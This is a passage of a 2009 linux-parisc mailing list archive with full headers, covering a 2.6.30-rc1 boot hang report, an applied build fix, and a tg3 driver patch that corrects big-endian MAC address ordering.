In-Reply-To: <20090413050418.GD13090@lackof.org>
X-Mailer: Evolution 2.22.3.1 (2.22.3.1-1.fc9) 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1504
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1504>

On Sun, 2009-04-12 at 23:04 -0600, Grant Grundler wrote:
> On Mon, Apr 13, 2009 at 07:53:39AM +0400, Alexander Beregalov wrote:
> > 2009/4/13 Grant Grundler <grundler@parisc-linux.org>:
> > > On Sat, Apr 11, 2009 at 02:42:19PM +0300, Jukka Taimisto wrote:
> > >> Hi,
> > >>
> > >> It seems that almost every other boot with 2.6.30-rc1 my HP c3700 with
> > >> single PA8700 (PCX-W2) 750MHz cpu hangs with following printed on serial
> > >> console:
> > >
> > > Another data point:
> > > I tried 2.6.30-rc1-b5 (UP, 64-bit) and that booted on "model 9000/785/J6000"
> > > both times that I tried. Config file is attached.
> > 
> > Hi Grant,
> > # CONFIG_64BIT is not set
> > in your config
> 
> Oopps....my bad. Sorry. That's obviously a 32-bit kernel.
> I must have checked uname output on the wrong machine. :(
> 
> thanks for catching that,
> grant

A 64 bit kernel definitely works for me on ion (a pa8900 box):

Linux ion 2.6.30-rc1 #2 SMP Sat Apr 11 08:57:03 PDT 2009 parisc64

The tg3 seems to be having some difficulty coming up, but it looks like
it's an eth device aliasing problem.

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: decode_exc.c should include kernel.h
Date: Mon, 13 Apr 2009 10:44:16 -0400
Lines: 13
Approved: news@gmane.org
Message-ID: <20090413144416.GB6072@bombadil.infradead.org>
References: <a4423d670904060229l650519e8we17578f4b439a1cb@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1239633898 5301 80.91.229.12 (13 Apr 2009 14:44:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 13 Apr 2009 14:44:58 +0000 (UTC)
Cc: Kyle McMartin <kyle@mcmartin.ca>, linux-parisc@vger.kernel.org
To: Alexander Beregalov <a.beregalov@gmail.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Apr 13 16:46:17 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LtNQO-0005ZA-I7
	for glpp-linux-parisc@gmane.org; Mon, 13 Apr 2009 16:46:17 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750734AbZDMOoc (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 13 Apr 2009 10:44:32 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751863AbZDMOoc
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 13 Apr 2009 10:44:32 -0400
Original-Received: from bombadil.infradead.org ([18.85.46.34]:45679 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751701AbZDMOob (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 13 Apr 2009 10:44:31 -0400
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.69 #1 (Red Hat Linux))
	id 1LtNOS-0007d7-9M; Mon, 13 Apr 2009 14:44:16 +0000
Content-Disposition: inline
In-Reply-To: <a4423d670904060229l650519e8we17578f4b439a1cb@mail.gmail.com>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1505
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1505>

On Mon, Apr 06, 2009 at 01:29:58PM +0400, Alexander Beregalov wrote:
> Fix this build error:
> arch/parisc/math-emu/decode_exc.c:351: undefined reference to `printk'
> 
> Signed-off-by: Alexander Beregalov <a.beregalov@gmail.com>
>

Thanks, applied.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:59 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] tg3: fix big endian MAC address collection failure
Date: Mon, 13 Apr 2009 15:21:50 +0000
Lines: 57
Approved: news@gmane.org
Message-ID: <1239636110.3278.29.camel@mulgrave.int.hansenpartnership.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1239636135 17703 80.91.229.12 (13 Apr 2009 15:22:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 13 Apr 2009 15:22:15 +0000 (UTC)
Cc: Parisc List <linux-parisc@vger.kernel.org>,
	Matt Carlson <mcarlson@broadcom.com>,
	Michael Chan <mchan@broadcom.com>
To: linux-netdev@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Apr 13 17:23:33 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LtO0K-000146-CR
	for glpp-linux-parisc@gmane.org; Mon, 13 Apr 2009 17:23:24 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751655AbZDMPVv (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 13 Apr 2009 11:21:51 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752482AbZDMPVv
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 13 Apr 2009 11:21:51 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:42377 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751655AbZDMPVu (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 13 Apr 2009 11:21:50 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id EF02A8EE1C1;
	Mon, 13 Apr 2009 08:21:49 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id EhI2C2iCVYOa; Mon, 13 Apr 2009 08:21:49 -0700 (PDT)
Original-Received: from [192.168.10.222] (mulgrave.ext.hansenpartnership.com [192.168.10.222])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 59CE28EE02F;
	Mon, 13 Apr 2009 08:21:49 -0700 (PDT)
X-Mailer: Evolution 2.22.3.1 (2.22.3.1-1.fc9) 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1506
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1506>

We noticed on parisc that our broadcoms all swapped MAC addresses going
from 2.6.29 to 2.6.30-rc1:

Apr 11 07:48:24 ion kernel: eth0: Tigon3 [partno(BCM95700A6) rev 0105] (PCI:66MHz:64-bit) MAC address 00:30:6e:4b:15:59
Apr 13 07:34:34 ion kernel: eth0: Tigon3 [partno(BCM95700A6) rev 0105] (PCI:66MHz:64-bit) MAC address 00:00:59:15:4b:6e

The problem patch is:

commit 6d348f2c1e0bb1cf7a494b51fc921095ead3f6ae
Author: Matt Carlson <mcarlson@broadcom.com>
Date:   Wed Feb 25 14:25:52 2009 +0000

    tg3: Eliminate tg3_nvram_read_swab()

With the root cause being the use of memcpy to set the mac address:

   memcpy(&dev->dev_addr[0], ((char *)&hi) + 2, 2);
   memcpy(&dev->dev_addr[2], (char *)&lo, sizeof(lo));

This might work on little endian machines, but it can't on big endian
ones.  You have to use the original setting mechanism to be correct on
all architectures.

The attached patch fixes parisc.

Signed-off-by: James Bottomley <James.Bottomley@HansenPartnership.com>

---

diff --git a/drivers/net/tg3.c b/drivers/net/tg3.c
index 6a736dd..7a837c4 100644
--- a/drivers/net/tg3.c
+++ b/drivers/net/tg3.c
@@ -12443,8 +12443,13 @@ static int __devinit tg3_get_device_address(struct tg3 *tp)
 		/* Next, try NVRAM. */
 		if (!tg3_nvram_read_be32(tp, mac_offset + 0, &hi) &&
 		    !tg3_nvram_read_be32(tp, mac_offset + 4, &lo)) {
-			memcpy(&dev->dev_addr[0], ((char *)&hi) + 2, 2);
-			memcpy(&dev->dev_addr[2], (char *)&lo, sizeof(lo));
+			dev->dev_addr[0] = ((hi >> 16) & 0xff);
+			dev->dev_addr[1] = ((hi >> 24) & 0xff);
+			dev->dev_addr[2] = ((lo >>  0) & 0xff);
+			dev->dev_addr[3] = ((lo >>  8) & 0xff);
+			dev->dev_addr[4] = ((lo >> 16) & 0xff);
+			dev->dev_addr[5] = ((lo >> 24) & 0xff);
+
 		}
 		/* Finally just fetch it out of the MAC control regs. */
 		else {



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:59 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.network
Subject: [PATCH] tg3: fix big endian MAC address collection failure
Date: Mon, 13 Apr 2009 15:29:54 +0000
Lines: 59
Approved: news@gmane.org
Message-ID: <1239636594.3278.31.camel@mulgrave.int.hansenpartnership.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1239636605 19257 80.91.229.12 (13 Apr 2009 15:30:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 13 Apr 2009 15:30:05 +0000 (UTC)
Cc: Parisc List <linux-parisc@vger.kernel.org>,
	Matt Carlson <mcarlson@broadcom.com>,
	Michael Chan <mchan@broadcom.com>
To: netdev@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Apr 13 17:31:23 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LtO81-00032q-CY
	for glpp-linux-parisc@gmane.org; Mon, 13 Apr 2009 17:31:21 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752339AbZDMP3y (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 13 Apr 2009 11:29:54 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752386AbZDMP3y
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 13 Apr 2009 11:29:54 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:44375 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1752278AbZDMP3y (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 13 Apr 2009 11:29:54 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id B395B8EE1C1;
	Mon, 13 Apr 2009 08:29:53 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id xzDIsX7vwkEJ; Mon, 13 Apr 2009 08:29:53 -0700 (PDT)
Original-Received: from [192.168.10.222] (mulgrave.ext.hansenpartnership.com [192.168.10.222])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 20A7B8EE02F;
	Mon, 13 Apr 2009 08:29:53 -0700 (PDT)
X-Mailer: Evolution 2.22.3.1 (2.22.3.1-1.fc9) 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1507 gmane.linux.network:125156
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1507>

[sorry for repost; wrong netdev address first time around]

We noticed on parisc that our broadcoms all swapped MAC addresses going
from 2.6.29 to 2.6.30-rc1:

Apr 11 07:48:24 ion kernel: eth0: Tigon3 [partno(BCM95700A6) rev 0105] (PCI:66MHz:64-bit) MAC address 00:30:6e:4b:15:59
Apr 13 07:34:34 ion kernel: eth0: Tigon3 [partno(BCM95700A6) rev 0105] (PCI:66MHz:64-bit) MAC address 00:00:59:15:4b:6e

The problem patch is:

commit 6d348f2c1e0bb1cf7a494b51fc921095ead3f6ae
Author: Matt Carlson <mcarlson@broadcom.com>
Date:   Wed Feb 25 14:25:52 2009 +0000

    tg3: Eliminate tg3_nvram_read_swab()

With the root cause being the use of memcpy to set the mac address:

   memcpy(&dev->dev_addr[0], ((char *)&hi) + 2, 2);
   memcpy(&dev->dev_addr[2], (char *)&lo, sizeof(lo));

This might work on little endian machines, but it can't on big endian
ones.  You have to use the original setting mechanism to be correct on
all architectures.

The attached patch fixes parisc.

Signed-off-by: James Bottomley <James.Bottomley@HansenPartnership.com>

---

diff --git a/drivers/net/tg3.c b/drivers/net/tg3.c
index 6a736dd..7a837c4 100644
--- a/drivers/net/tg3.c
+++ b/drivers/net/tg3.c
@@ -12443,8 +12443,13 @@ static int __devinit tg3_get_device_address(struct tg3 *tp)
 		/* Next, try NVRAM. */
 		if (!tg3_nvram_read_be32(tp, mac_offset + 0, &hi) &&
 		    !tg3_nvram_read_be32(tp, mac_offset + 4, &lo)) {
-			memcpy(&dev->dev_addr[0], ((char *)&hi) + 2, 2);
-			memcpy(&dev->dev_addr[2], (char *)&lo, sizeof(lo));
+			dev->dev_addr[0] = ((hi >> 16) & 0xff);
+			dev->dev_addr[1] = ((hi >> 24) & 0xff);
+			dev->dev_addr[2] = ((lo >>  0) & 0xff);
+			dev->dev_addr[3] = ((lo >>  8) & 0xff);
+			dev->dev_addr[4] = ((lo >> 16) & 0xff);
+			dev->dev_addr[5] = ((lo >> 24) & 0xff);
+
 		}
 		/* Finally just fetch it out of the MAC control regs. */
 		else {



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <varenet@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: 2.6.30-rc1 hangs on boot
Date: Mon, 13 Apr 2009 17:44:49 +0200
Lines: 28
Approved: news@gmane.org
Message-ID: <7d01f9f00904130844t435fa5e8xacde73f713df73b2@mail.gmail.com>
References: <20090411114219.GA14981@mayall.koti>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1239637503 22438 80.91.229.12 (13 Apr 2009 15:45:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 13 Apr 2009 15:45:03 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: jukka.taimisto@iki.fi
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Apr 13 17:46:22 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LtOMU-0000C2-42
	for glpp-linux-parisc@gmane.org; Mon, 13 Apr 2009 17:46:18 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752679AbZDMPov convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 13 Apr 2009 11:44:51 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752546AbZDMPov
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 13 Apr 2009 11:44:51 -0400
Original-Received: from mail-fx0-f158.google.com ([209.85.220.158]:62383 "EHLO
	mail-fx0-f158.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752679AbZDMPov convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 13 Apr 2009 11:44:51 -0400
Original-Received: by fxm2 with SMTP id 2so2041355fxm.37
        for <linux-parisc@vger.kernel.org>; Mon, 13 Apr 2009 08:44:49 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:sender:received:in-reply-to
         :references:date:x-google-sender-auth:message-id:subject:from:to:cc
         :content-type:content-transfer-encoding;
        bh=KYpClPhAacHuSwsuLZipn9QIznT6qkJyEZ7VhkX4vX0=;
        b=v1AgsQdiMmkGwS6sbXqmlVlXa24KwNSuEuz2XK3Bpnvi00joaPztwCzIs96oHK4CWz
         ObS7wXSSjxLFPQYAGygcd0pNea1mVjLPzCuqM9AiNVqhdC2So8NrmEGZStDfktMmUIFC
         N7K4v1kiins1X8Z5/oTjHE050vbBkAOarxA4Y=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type
         :content-transfer-encoding;
        b=r1RH9xkQZYTJSECx4kHQKBVfBUzVHK33ey09Jz2Y6FbBRTyHNGBNf9UqGJB6BNihYP
         25Ks+CP/SY8L5lv/rW68NYdqKAALphONdjJoY4BFVykAxUDtu53xsFjKf+VWj1m4/9tB
         7lWSHsPom1ZQySyT5NfNDAxB4r8kH6hw2ffzo=
Original-Received: by 10.223.113.199 with SMTP id b7mr1735380faq.82.1239637489323; Mon, 
	13 Apr 2009 08:44:49 -0700 (PDT)
In-Reply-To: <20090411114219.GA14981@mayall.koti>
X-Google-Sender-Auth: 84c6adda9b98eff7
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1508
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1508>

On Sat, Apr 11, 2009 at 1:42 PM, Jukka Taimisto
<jukka.taimisto@mail.suomi.net> wrote:
> Hi,
>
> It seems that almost every other boot with 2.6.30-rc1 my HP c3700 wit=
h
> single PA8700 (PCX-W2) 750MHz cpu hangs with following printed on ser=
ial
> console:

> [17179569.184000] timer_interrupt(CPU 0): delayed! cycles FFFFFFFFFFE=
494D4 rem 2A0894 =C2=A0next/now E004EEDA1/E00338275
> [6166094260.418448] timer_interrupt(CPU 0): delayed! cycles 15EA6E45D=
E rem 24C09E next/now E003740A1/23EAA5867F

I've seen that happening randomly on my A500 SMP 64bit, and it goes
way back with old kernels (2.6.19-ish, maybe even before). Very
random, but certainly not new.

--=20
Thibaut VARENE
http://www.parisc-linux.org/~varenet/
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Matt Carlson" <mcarlson@broadcom.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] tg3: fix big endian MAC address collection failure
Date: Mon, 13 Apr 2009 11:00:52 -0700
Lines: 66
Approved: news@gmane.org
Message-ID: <20090413180052.GB11076@xw6200.broadcom.net>
References: <1239636110.3278.29.camel@mulgrave.int.hansenpartnership.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
 charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1239645701 17381 80.91.229.12 (13 Apr 2009 18:01:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 13 Apr 2009 18:01:41 +0000 (UTC)
Cc: "linux-netdev@vger.kernel.org" <linux-netdev@vger.kernel.org>,
	"Parisc List" <linux-parisc@vger.kernel.org>,
	"Matthew Carlson" <mcarlson@broadcom.com>,
	"Michael Chan" <mchan@broadcom.com>
To: "James Bottomley" <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Apr 13 20:02:59 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LtQUK-0005P5-B6
	for glpp-linux-parisc@gmane.org; Mon, 13 Apr 2009 20:02:32 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752704AbZDMSBF (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 13 Apr 2009 14:01:05 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752338AbZDMSBF
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 13 Apr 2009 14:01:05 -0400
Original-Received: from mms2.broadcom.com ([216.31.210.18]:1781 "EHLO mms2.broadcom.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752646AbZDMSBD (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 13 Apr 2009 14:01:03 -0400
Original-Received: from [10.11.16.99] by mms2.broadcom.com with ESMTP (Broadcom
 SMTP Relay (Email Firewall v6.3.2)); Mon, 13 Apr 2009 11:00:54 -0700
X-Server-Uuid: D3C04415-6FA8-4F2C-93C1-920E106A2031
Original-Received: by mail-irva-10.broadcom.com (Postfix, from userid 47) id
 A14882C1; Mon, 13 Apr 2009 11:00:54 -0700 (PDT)
Original-Received: from mail-irva-8.broadcom.com (mail-irva-8 [10.11.18.52]) by
 mail-irva-10.broadcom.com (Postfix) with ESMTP id 8BE982B0; Mon, 13 Apr
 2009 11:00:54 -0700 (PDT)
Original-Received: from mail-irva-13.broadcom.com (mail-irva-13.broadcom.com
 [10.11.16.103]) by mail-irva-8.broadcom.com (MOS 3.7.5a-GA) with ESMTP
 id HPL52011; Mon, 13 Apr 2009 11:00:52 -0700 (PDT)
Original-Received: from xw6200 (mcarlson [10.12.148.101]) by
 mail-irva-13.broadcom.com (Postfix) with ESMTP id 9F2E474D04; Mon, 13
 Apr 2009 11:00:52 -0700 (PDT)
In-Reply-To: <1239636110.3278.29.camel@mulgrave.int.hansenpartnership.com>
User-Agent: Mutt/1.5.16 (2007-06-09)
X-WSS-ID: 65FDA25C3D420750947-01-01
Content-Disposition: inline
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1509
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1509>

Hi James.  I'd like to think about this some more before we apply it.  I
investigated this problem using a 5703 on a SPARC Ultra 10, and all my
assumptions checked out.  I don't dispute that you and Robin are having
a problem.  I just don't understand where the root cause of the problem
is yet.  Stay tuned.

On Mon, Apr 13, 2009 at 08:21:50AM -0700, James Bottomley wrote:
> We noticed on parisc that our broadcoms all swapped MAC addresses going
> from 2.6.29 to 2.6.30-rc1:
> 
> Apr 11 07:48:24 ion kernel: eth0: Tigon3 [partno(BCM95700A6) rev 0105] (PCI:66MHz:64-bit) MAC address 00:30:6e:4b:15:59
> Apr 13 07:34:34 ion kernel: eth0: Tigon3 [partno(BCM95700A6) rev 0105] (PCI:66MHz:64-bit) MAC address 00:00:59:15:4b:6e
> 
> The problem patch is:
> 
> commit 6d348f2c1e0bb1cf7a494b51fc921095ead3f6ae
> Author: Matt Carlson <mcarlson@broadcom.com>
> Date:   Wed Feb 25 14:25:52 2009 +0000
> 
>     tg3: Eliminate tg3_nvram_read_swab()
> 
> With the root cause being the use of memcpy to set the mac address:
> 
>    memcpy(&dev->dev_addr[0], ((char *)&hi) + 2, 2);
>    memcpy(&dev->dev_addr[2], (char *)&lo, sizeof(lo));
> 
> This might work on little endian machines, but it can't on big endian
> ones.  You have to use the original setting mechanism to be correct on
> all architectures.
> 
> The attached patch fixes parisc.
> 
> Signed-off-by: James Bottomley <James.Bottomley@HansenPartnership.com>
> 
> ---
> 
> diff --git a/drivers/net/tg3.c b/drivers/net/tg3.c
> index 6a736dd..7a837c4 100644
> --- a/drivers/net/tg3.c
> +++ b/drivers/net/tg3.c
> @@ -12443,8 +12443,13 @@ static int __devinit tg3_get_device_address(struct tg3 *tp)
>  		/* Next, try NVRAM. */
>  		if (!tg3_nvram_read_be32(tp, mac_offset + 0, &hi) &&
>  		    !tg3_nvram_read_be32(tp, mac_offset + 4, &lo)) {
> -			memcpy(&dev->dev_addr[0], ((char *)&hi) + 2, 2);
> -			memcpy(&dev->dev_addr[2], (char *)&lo, sizeof(lo));
> +			dev->dev_addr[0] = ((hi >> 16) & 0xff);
> +			dev->dev_addr[1] = ((hi >> 24) & 0xff);
> +			dev->dev_addr[2] = ((lo >>  0) & 0xff);
> +			dev->dev_addr[3] = ((lo >>  8) & 0xff);
> +			dev->dev_addr[4] = ((lo >> 16) & 0xff);
> +			dev->dev_addr[5] = ((lo >> 24) & 0xff);
> +
>  		}
>  		/* Finally just fetch it out of the MAC control regs. */
>  		else {
> 
> 
> 
> 

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] tg3: fix big endian MAC address collection failure
Date: Mon, 13 Apr 2009 14:04:26 -0400
Lines: 17
Approved: news@gmane.org
Message-ID: <20090413180426.GE6072@bombadil.infradead.org>
References: <1239636110.3278.29.camel@mulgrave.int.hansenpartnership.com> <20090413180052.GB11076@xw6200.broadcom.net>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1239645998 18100 80.91.229.12 (13 Apr 2009 18:06:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 13 Apr 2009 18:06:38 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@HansenPartnership.com>,
	"linux-netdev@vger.kernel.org" <linux-netdev@vger.kernel.org>,
	Parisc List <linux-parisc@vger.kernel.org>,
	Michael Chan <mchan@broadcom.com>
To: Matt Carlson <mcarlson@broadcom.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Apr 13 20:07:57 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LtQXc-0007PA-AN
	for glpp-linux-parisc@gmane.org; Mon, 13 Apr 2009 20:05:56 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750990AbZDMSE3 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 13 Apr 2009 14:04:29 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751122AbZDMSE3
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 13 Apr 2009 14:04:29 -0400
Original-Received: from bombadil.infradead.org ([18.85.46.34]:40152 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750990AbZDMSE2 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 13 Apr 2009 14:04:28 -0400
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.69 #1 (Red Hat Linux))
	id 1LtQWA-0004mT-IN; Mon, 13 Apr 2009 18:04:26 +0000
